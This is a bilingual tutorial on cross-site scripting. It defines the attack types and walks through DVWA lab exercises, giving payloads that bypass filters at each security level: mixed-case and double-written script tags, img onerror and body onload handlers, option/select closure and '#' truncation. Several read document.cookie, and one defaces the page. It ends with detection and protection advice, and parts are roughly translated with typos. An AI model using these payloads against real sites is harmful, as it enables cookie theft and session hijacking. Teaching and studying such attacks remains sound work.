xss cross-site scripting attack
theory
1. Definition:
The xss cross-site scripting attack is a kind of web application security vulnerability, mainly caused by the web application's insufficient user input filtering. The attacker inserts malicious script code into the web page, which is embedded when the user browses the web page. The malicious code will be executed, and the attacker will steal cookie data, session hijacking, phishing, etc. against the victim user.
2. Classification:
Reflected xss (reflected xss)
stored xss (stored xss)
dom-based xss (dom-based xss)
mxss (mutant xss)
uxss (universal xss)
flash xss
utf-7 xss
mhtml xss
css xss
vbscript xss
1. Detailed explanation of reflective XSS
1. Overview of reflective xss
Definition:
Reflective XSS, also known as non-persistent and parametric XSS, is the most common and widely used.
Mainly used to append malicious scripts to the parameters of
the url address. This type of xss is commonly used in website search bars, user login entrances, etc. It is
often used to steal client cookies or phishing scams.
Features:
Triggered when the link is clicked, only executed once.
Utilization methods
Use specific methods such as private messages and emails on the site to induce users to visit URLs containing malicious code. When the user clicks on the link, the malicious code is executed in the browser on the victim's host.
2. Reflective xss experiment one:
dvwa:安全级别为low
点击xss (reflected),进入测试页面
url地址栏中输入<script>alert(/xss/)</script>，出现弹框
url地址栏中输入<script>alret(document.coolie)</script>出现弹框，获得当前页面的cookie
3. Reflective xss experiment two:
dvwa:安全级别为mediun
点击xss (reflected),进入测试页面
url地址栏中输入<script>alert(/xss/)</script>，未出现弹框
查看源程序，原来是使用str_replace()函数对<script>进行了替换，直接插入的代码失效
此时可使用双写绕过或者大小写绕过的方式进行绕过
具体代码如下：
双写绕过：<sc<script>ript>alret(/xss/)</script> 出现弹窗
大小写绕过：<Script>alert(/xss/)</script>出现弹窗
使用大小写绕过和双写绕过的方式获取cookie
大小写绕过：<Script>alret(document.coolie)</script>出现弹框，获得当前页面的cookie
双写绕过：<sc<script>ript>alert(document.cookie)</script>出现弹框，获得当前页面cookie
4. Reflective .xss experiment three
dvwa 安全级别设置为high
点击xss (reflected),进入测试页面
先查看源程序，发现使用preg_replace函数将“/script”进行了替换，
这样就无法使用常用的绕过方法
这时就得使用标签，如<img>、<body>等提供的方法进行脚本注入
（1）<img>标签弹窗
<img src=1 onerror=alert(/xss/)>
获取当前页面cookie
<img src=1 onerror=alert(document.cookie)>
(2)<body>标签弹窗
<body onload=alert(/xss/)>
获取当前cookie
<body onload=alert(document.cookie)>
2. Detailed explanation of storage type xss
1. Overview of storage type xss:
Definition: The
attacker directly uploads or stores the malicious js code to the vulnerable server. When other users browse the page, the malicious code is read from the database and executed on the victim's browser.
Persistent xss often appear at the intersection of website message boards, comments, blog logs, etc.
The feature is that it does not require the user to click a specific url to execute cross-site scripting
How to use:
Directly store malicious code in the server, and as long as the user visits this page, it will be recruited.
xss worm
2. Storage type xss experiment one
将dvwa的安全级别设置为low
选择xss（stored）进入测试页面
在message输入框中输入<script>alert(/xss/)</script>出现弹框
获取当前用户cookie
<script>alert(document.cookie)</script> 出现弹框且爆出cookie
再次刷新页面发现弹窗再次出现
3. Storage type xss experiment two
将dvwa 安全级别设置为medium
进入xss(stored)测试页面
查看源程序，会发现服务器端对message 框内容使用htmlspecialchars()函数进行转义，
对name框使用str_replace()函数进行替换，因此我们可以在name框中使用绕过的方法。
设置网页代理
设置burp suite 的代理参数。
使用双写绕过的方式获取弹窗和cookie
在burp suite中修改name参数
<sc<script>ript>alert(/xss/)</script> 出现弹窗
<sc<script>ript>alert(document.cookie)</script>获得cookie
使用大小写混淆绕过
在burp suite中修改name参数
<Script>alert(/xss/)</script> 出现弹窗
<Script>alert(document.cookie)</script>获得cookie
4. Storage type xss experiment three
将dvwa 安全级别设置为high
进入xss(stored)测试页面
查看源程序，发现对message参数进行了html转义，且对name参数进行了preg_replace()函数进行替换，不能使用常用的绕过方法。
此时就使用<img>、<body>等方法进行xss脚本注入
1.<img>标签
<img src=1 onerror=alert(/xss/)> 出现弹窗
<img src=1 onerror=alert(document.cookie)> 弹出cookie
2.<body>标签
<body onload=alert(/xss/)> 出现弹窗
<body onload=alert(document.cookie)> 弹出cookie
3.Detailed explanation of DOM type xss
1. Overview of DOM type xss
dom-based xss is a vulnerability based on the dom document object model
The attacker manipulates some objects in the dom, such as url/location, etc., and the data entered by the client contains some malicious js code. If these scripts are not properly filtered and disinfected, the application will be affected by the dom-based Xss attack.
DOM-type XSS depends on the output location, not the output environment, so DOM-type XSS may be either reflective or storage.
2. DOM type XSS experiment one
在dvwa中将安全级别设置为low
选择DOM Based Cross Site Scripting (XSS) 进入测试页面
在URL地址框中输入<script>alert(/xss/)</script> 出现弹框
在URL地址框中输入<script>alert(document.cookie)</script> 获取cookie
在URL地址框中输入以下脚本，篡改页面。
<script>
document.body.innerHTML=
”<div style=visibility:visible;>
<h1>
this is dom xss”
</h1>
</div>”,
</script>
3. DOM type XSS experiment two
在dvwa中将安全级别设置为medium
选择DOM Based Cross Site Scripting (XSS) 进入测试页面
查看源程序发现 stripos函数过滤了<script>标签，其中stripos表示不区分大小写，因此大小写绕过和双写绕过的方法就无效了
此时就应该使用>/option></select>进行参数闭合，然后再添加DOM标签参数进行XSS注入，命令如下
1.body标签
>/option></select><body onload=alert(/xss/)> 出现弹窗
>/option></select><body onload=alert(document.cookie)> 获取cookie
2.img标签
>/option></select><img src=1 onerror=alert(/xss/)> 出现弹窗
>/option></select><img src=1 onerror=alert(document.cookie)> 获取cookie
4. DOM type XSS experiment three
在dvwa中将安全级别设置为high
选择DOM Based Cross Site Scripting (XSS) 进入测试页面
进入源程序发现对参数进行了判断，如果不是选项就会使用默认参数
此时就因该使用 # 进行截断，然后添加相应的注入命令，
这是应为#后的参数只在浏览器显示，并不会传送到服务端，也就不会被过滤。
#<script>alert(/xss/)</script> 出现弹窗
#<script>alert(/xss)</script> 获得cookie
XSS vulnerability mining:
1. Detection Tool:
Leakage sweep tool: awvs, appscan and other
plug-ins: XSSDetect, XSS Me and other
tools to detect problems:
With web development, more and more interactive, Ajax utilization rate is higher, xss the more
only Relying on tools is unrealistic
The principle of most tool scanning is to simply compare the source code of the web page, but there are more and more doms dynamically generated by js, and it is not feasible to compare the source code alone.
2. Manual test:
construct payload to
check code defects
Data interaction (input/output) is most likely to produce cross-site scripting, so the priority is where there is input and where the input data is output. Generally, website input boxes, url parameters, cookies, post forms, and http headers are often used. Content to be tested.
Basic input points (input[text]), text area, and table
input points (input{hidden}) with hidden input points (input{hidden})
are filtered by the client script
Verification code
Some hidden parameters submitted can be found through browser debugging tools and packet capture tools
Under the condition that the output location can be known,
input sensitive characters such as: "<, >,', ",', etc. After
submitting the request, check the html source code to see if the characters are escaped
When the output location is not known,
use various XSS vectors for
input and check whether the page is executed. Input characters that may not be filtered to see if they are missing from the side . Check if there are
abnormal functions and errors.
XSS protection method:
Perfect filtering mechanism: input verification, output coding
Hardware protection: waf, database security